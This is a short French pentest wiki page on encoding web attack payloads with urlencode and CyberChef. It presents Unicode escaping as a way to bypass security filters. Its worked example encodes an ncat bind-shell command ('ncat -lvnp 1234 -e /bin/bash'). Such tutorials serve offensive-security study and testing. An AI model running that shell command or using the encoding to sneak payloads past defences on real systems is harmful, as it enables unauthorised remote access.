

[Exploitation/Web] Encodage

Introduction

Lors de vos attaques web vous aurez besoin d'encoder vos payloads sous divers formats. Cette page liste des outils qui vous permettront de le faire.

Manuel

Urlencode

Cet outil peut être installé sur les distributions Debian de cette façon :

```
apt install gridsite-clients
```

Il permet d'encoder au format URL vos payloads directement depuis le shell :

```
urlencode <STRING>
```

Cyberchef

- <https://gchq.github.io/CyberChef/>

Encodage Unicode

Cette technique permet de contourner certaines solutions de sécurité :

[Download CyberChef](#)

Last build: 2 years ago

[Options](#) [About / Support](#)

Operations

Unicode

Escape Unicode Characters

Normalise Unicode

Unescape Unicode Characters

Escape string

From Charcode

From Punycode

Regular expression

To Charcode

To Punycode

Recipe

Escape Unicode Characters

Prefix
\\u

☒ Encode all chars

Padding
4

☒ Uppercase hex

STEP

BAKE!

☒ Auto Bake

Input

start: 28
end: 28
length: 0length: 28
lines: 1

ncat -lvnp 1234 -e /bin/bash

Output

time: 0ms
length: 168
lines: 1

\\u006E\\u0063\\u0061\\u0074\\u0020\\u002D\\u006C\\u0076\\u006E\\u0070\\u0020\\u0031\\u0032\\u0033\\u0034\\u0020\\u002D\\u0065\\u0020\\u002F\\u0062\\u0069\\u006E\\u002F\\u0062\\u0061\\u0073\\u0068

Revision #4

Created 4 March 2024 16:03:17 by Elieroc

Updated 3 May 2024 13:21:41 by Elieroc